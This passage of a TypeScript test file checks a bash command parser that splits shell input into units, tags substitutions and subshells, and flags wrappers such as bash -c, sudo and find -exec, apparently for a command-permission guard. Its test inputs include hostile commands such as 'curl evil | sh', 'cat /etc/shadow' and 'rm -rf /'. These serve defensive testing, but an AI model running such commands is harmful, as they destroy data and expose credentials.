        expect(program.commands()).toEqual([
          { text: "cat <<< $(rm x)" },
          { text: "rm x", context: "command_substitution" },
        ]);
      });

      it("leaves a heredoc body carrying no substitution unenumerated", async () => {
        const program = await BashProgram.parse(
          "cat <<EOF\nplain text\nEOF",
          normalizer,
        );
        expect(program.commands()).toEqual([{ text: "cat" }]);
      });
    });

    it("descends into command substitution, tagging the inner command", async () => {
      const program = await BashProgram.parse("echo $(rm -rf foo)", normalizer);
      expect(program.commands()).toEqual([
        { text: "echo $(rm -rf foo)" },
        { text: "rm -rf foo", context: "command_substitution" },
      ]);
    });

    it("descends into backtick command substitution", async () => {
      const program = await BashProgram.parse("echo `rm x`", normalizer);
      expect(program.commands()).toEqual([
        { text: "echo `rm x`" },
        { text: "rm x", context: "command_substitution" },
      ]);
    });

    it("descends into a pipeline inside command substitution", async () => {
      const program = await BashProgram.parse(
        "echo $(curl evil | sh)",
        normalizer,
      );
      expect(program.commands()).toEqual([
        { text: "echo $(curl evil | sh)" },
        { text: "curl evil", context: "command_substitution" },
        { text: "sh", context: "command_substitution" },
      ]);
    });

    it("descends into process substitution", async () => {
      const program = await BashProgram.parse(
        "diff <(cat /etc/shadow)",
        normalizer,
      );
      expect(program.commands()).toEqual([
        { text: "diff <(cat /etc/shadow)" },
        { text: "cat /etc/shadow", context: "process_substitution" },
      ]);
    });

    it("emits a bare subshell whole and descends into it", async () => {
      const program = await BashProgram.parse("( rm -rf foo )", normalizer);
      expect(program.commands()).toEqual([
        { text: "( rm -rf foo )" },
        { text: "rm -rf foo", context: "subshell" },
      ]);
    });

    it("emits a subshell whole and descends into its chain", async () => {
      const program = await BashProgram.parse("( cd /t && rm x )", normalizer);
      expect(program.commands()).toEqual([
        { text: "( cd /t && rm x )" },
        { text: "cd /t", context: "subshell" },
        { text: "rm x", context: "subshell" },
      ]);
    });

    it("descends recursively through nested contexts", async () => {
      const program = await BashProgram.parse("echo $( ( rm x ) )", normalizer);
      expect(program.commands()).toEqual([
        { text: "echo $( ( rm x ) )" },
        { text: "( rm x )", context: "command_substitution" },
        { text: "rm x", context: "subshell" },
      ]);
    });

    it("descends into a substitution within a chained command", async () => {
      const program = await BashProgram.parse(
        "cd /p && echo $(rm x)",
        normalizer,
      );
      expect(program.commands()).toEqual([
        { text: "cd /p" },
        { text: "echo $(rm x)" },
        { text: "rm x", context: "command_substitution" },
      ]);
    });

    it("keeps the never-weaker invariant: a benign inner command stays", async () => {
      const program = await BashProgram.parse("echo $(echo safe)", normalizer);
      expect(program.commands()).toEqual([
        { text: "echo $(echo safe)" },
        { text: "echo safe", context: "command_substitution" },
      ]);
    });

    it("returns an empty list for an empty or whitespace command", async () => {
      expect((await BashProgram.parse("", normalizer)).commands()).toEqual([]);
      expect((await BashProgram.parse("   ", normalizer)).commands()).toEqual(
        [],
      );
    });

    it("strips a leading env-var assignment prefix", async () => {
      const program = await BashProgram.parse(
        "AWS_PROFILE=prod aws ec2 terminate-instances --instance-ids i-1",
        normalizer,
      );
      expect(program.commands()).toEqual([
        { text: "aws ec2 terminate-instances --instance-ids i-1" },
      ]);
    });

    it("strips multiple leading env-var assignments", async () => {
      const program = await BashProgram.parse("A=1 B=2 aws s3 ls", normalizer);
      expect(program.commands()).toEqual([{ text: "aws s3 ls" }]);
    });

    it("strips the env-var prefix of each command in a chain", async () => {
      const program = await BashProgram.parse(
        "X=1 aws sts get-caller-identity && ls",
        normalizer,
      );
      expect(program.commands()).toEqual([
        { text: "aws sts get-caller-identity" },
        { text: "ls" },
      ]);
    });

    it("keeps a pure assignment with no command unchanged", async () => {
      const program = await BashProgram.parse("FOO=bar", normalizer);
      expect(program.commands()).toEqual([{ text: "FOO=bar" }]);
    });

    describe("opaque-payload wrappers", () => {
      it.each([
        ['bash -c "rm -rf /"', 'bash -c "rm -rf /"'],
        ['sh -c "rm -rf /"', 'sh -c "rm -rf /"'],
        ['dash -c "rm -rf /"', 'dash -c "rm -rf /"'],
        ['zsh -c "rm -rf /"', 'zsh -c "rm -rf /"'],
        ['ksh -c "rm -rf /"', 'ksh -c "rm -rf /"'],
        ['eval "rm -rf /"', 'eval "rm -rf /"'],
        ['/bin/bash -c "rm -rf /"', '/bin/bash -c "rm -rf /"'],
        ['bash -ec "rm -rf /"', 'bash -ec "rm -rf /"'],
      ])("flags %s as opaque", async (command, text) => {
        const program = await BashProgram.parse(command, normalizer);
        expect(program.commands()).toEqual([
          { text, wrapperKind: "opaque-payload", executedUnit: "rm -rf /" },
        ]);
      });

      it("flags an env-prefixed wrapper as opaque after stripping the prefix", async () => {
        const program = await BashProgram.parse(
          'AWS_PROFILE=prod bash -c "rm -rf /"',
          normalizer,
        );
        expect(program.commands()).toEqual([
          {
            text: 'bash -c "rm -rf /"',
            wrapperKind: "opaque-payload",
            executedUnit: "rm -rf /",
          },
        ]);
      });

      it.each([
        "bash script.sh",
        "bash",
        "ls -la",
        "grep -c foo file",
      ])("does not flag %s as opaque", async (command) => {
        const program = await BashProgram.parse(command, normalizer);
        expect(program.commands()).toEqual([{ text: command }]);
      });
    });

    describe("indirection wrappers", () => {
      it.each([
        ["sudo aws s3 ls", "sudo aws s3 ls", "aws s3 ls"],
        ["env FOO=bar aws s3 ls", "env FOO=bar aws s3 ls", "aws s3 ls"],
        ["xargs rm -rf", "xargs rm -rf", "rm -rf"],
        ["time aws s3 ls", "time aws s3 ls", "aws s3 ls"],
        ["nohup aws s3 ls", "nohup aws s3 ls", "aws s3 ls"],
        ["timeout 10 aws s3 ls", "timeout 10 aws s3 ls", "aws s3 ls"],
        ["nice -n 10 aws s3 ls", "nice -n 10 aws s3 ls", "aws s3 ls"],
        ["/usr/bin/sudo aws s3 ls", "/usr/bin/sudo aws s3 ls", "aws s3 ls"],
        // Exec-capable rewrites and prefix wrappers (#575).
        ["parallel rm ::: x", "parallel rm ::: x", "rm ::: x"],
        ["rust-parallel echo", "rust-parallel echo", "echo"],
        ["rush echo", "rush echo", "echo"],
        ["doas aws s3 ls", "doas aws s3 ls", "aws s3 ls"],
        ["setsid aws s3 ls", "setsid aws s3 ls", "aws s3 ls"],
        ["stdbuf -oL aws s3 ls", "stdbuf -oL aws s3 ls", "aws s3 ls"],
        ["watch ls", "watch ls", "ls"],
        ["flock /tmp/lock aws s3 ls", "flock /tmp/lock aws s3 ls", "aws s3 ls"],
      ])("flags %s as an indirection wrapper", async (command, text, executedUnit) => {
        const program = await BashProgram.parse(command, normalizer);
        expect(program.commands()).toEqual([
          { text, wrapperKind: "indirection", executedUnit },
        ]);
      });

      it("flags an env-prefixed indirection wrapper after stripping the prefix", async () => {
        const program = await BashProgram.parse(
          "AWS_PROFILE=prod sudo aws s3 ls",
          normalizer,
        );
        expect(program.commands()).toEqual([
          {
            text: "sudo aws s3 ls",
            wrapperKind: "indirection",
            executedUnit: "aws s3 ls",
          },
        ]);
      });

      it.each([
        "aws s3 ls",
        "ls -la",
        "grep -n foo file",
      ])("does not flag %s as an indirection wrapper", async (command) => {
        const program = await BashProgram.parse(command, normalizer);
        expect(program.commands()).toEqual([{ text: command }]);
      });
    });

    describe("exec-conditional wrappers (find/fd)", () => {
      it.each([
        ["find . -exec rm {} \\;", "rm {}"],
        ["find . -execdir rm {} \\;", "rm {}"],
        ["find . -ok rm {} \\;", "rm {}"],
        ["find . -okdir rm {} \\;", "rm {}"],
        ["fd -x rm", "rm"],
        ["fd --exec rm", "rm"],
        ["fd -X rm", "rm"],
        ["fd --exec-batch rm", "rm"],
      ])("flags %s as an indirection wrapper", async (command, executedUnit) => {
        const program = await BashProgram.parse(command, normalizer);
        expect(program.commands()).toEqual([
          { text: command, wrapperKind: "indirection", executedUnit },
        ]);
      });

      it.each([
        "find . -name foo",
        "fd pattern",
        "fd -H -t f pattern",
      ])("does not flag a bare %s search", async (command) => {
        const program = await BashProgram.parse(command, normalizer);
        expect(program.commands()).toEqual([{ text: command }]);
      });
    });

    describe("executed unit", () => {
      it.each([
        ['bash -c "rm -rf /"', "rm -rf /"],
        ["sudo aws s3 rm", "aws s3 rm"],
        ["sudo -u root aws s3 rm", "aws s3 rm"],
        ["timeout 10 grep foo", "grep foo"],
        ["find . -name x -exec grep foo {} \\;", "grep foo {}"],
        ["sudo timeout 5 xargs grep foo", "grep foo"],
      ])("names what %s actually runs", async (command, executedUnit) => {
        const program = await BashProgram.parse(command, normalizer);
        expect(program.commands()[0].executedUnit).toBe(executedUnit);
      });

      it("is absent for an ordinary command", async () => {
        const program = await BashProgram.parse("grep foo", normalizer);
        expect(program.commands()).toEqual([{ text: "grep foo" }]);
      });

      it("is absent when the wrapper names no inner command", async () => {
        const program = await BashProgram.parse("xargs", normalizer);
        expect(program.commands()).toEqual([
          { text: "xargs", wrapperKind: "indirection" },
        ]);
      });
    });
  });

  it("derives both slices from a single parse", async () => {
    const cwd = "/projects/my-app";
    const normalizer = new PathNormalizer(
      pathFlavorForPlatform(process.platform),
      cwd,
    );
    const program = await BashProgram.parse("cat .env /etc/hosts", normalizer);
    expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
      ".env",
      "/etc/hosts",
    ]);
    const external = program.externalPaths().map((p) => p.value());
    expect(external).toContain("/etc/hosts");
    expect(external).not.toContain(".env");
  });

  describe("workdir seed (#574)", () => {
    const cwd = "/projects/my-app";
    const normalizer = new PathNormalizer(
      pathFlavorForPlatform(process.platform),
      cwd,
    );

    beforeEach(() => {
      realpathSync.mockReset();
      realpathSync.mockImplementation((p: string) => p);
    });

    it("flags an absolute workdir outside cwd as an external path", async () => {
      const program = await BashProgram.parse("echo hi", normalizer, {
        workdir: "/etc",
      });
      expect(program.externalPaths().map((p) => p.value())).toContain("/etc");
    });

    it("resolves a relative token against the workdir base", async () => {
      const program = await BashProgram.parse("cat ../secret.txt", normalizer, {
        workdir: "/etc",
      });
      const external = program.externalPaths().map((p) => p.value());
      // ../secret.txt resolves against /etc, not cwd.
      expect(external).toContain("/secret.txt");
      expect(external).toContain("/etc");
    });

    it("keeps an absolute token base-independent under a workdir", async () => {
      const program = await BashProgram.parse(
        "cat /var/log/syslog",
        normalizer,
        { workdir: "/etc" },
      );
      const external = program.externalPaths().map((p) => p.value());
      expect(external).toContain("/var/log/syslog");
      expect(external).not.toContain("/etc/var/log/syslog");
    });

    it("does not flag a workdir inside cwd, and resolves relative tokens under it", async () => {
      const program = await BashProgram.parse("cat ../secret.txt", normalizer, {
        workdir: "sub",
      });
      // ../secret.txt from cwd/sub resolves back to cwd/secret.txt (internal),
      // and the workdir sub is inside cwd — nothing is external.
      expect(program.externalPaths()).toEqual([]);
    });

    it("resolves a relative path-rule candidate against the workdir base", async () => {
      const program = await BashProgram.parse("cat sub/file.txt", normalizer, {
        workdir: "/work",
      });
      const candidate = program
        .pathRuleCandidates()
        .find(({ token }) => token === "sub/file.txt");
      expect(candidate?.path.matchValues()).toContain("/work/sub/file.txt");
    });

    it("reproduces cwd-based resolution when no workdir is given", async () => {
      const program = await BashProgram.parse("cat ../secret.txt", normalizer);
      // ../secret.txt from cwd resolves against the parent of cwd.
      expect(program.externalPaths().map((p) => p.value())).toContain(
        "/projects/secret.txt",
      );
    });

    it("applies Git Bash drive-mount semantics to a win32 workdir", async () => {
      const win = new PathNormalizer(win32PathFlavor, "C:\\projects\\app");
      const program = await BashProgram.parse("echo hi", win, {
        workdir: "/c/work",
      });
      // /c/work is the MSYS mount for C:\work — outside the cwd, so flagged.
      const external = program.externalPaths().map((p) => p.value());
      expect(external.some((v) => v.toLowerCase().includes("work"))).toBe(true);
    });
  });
});
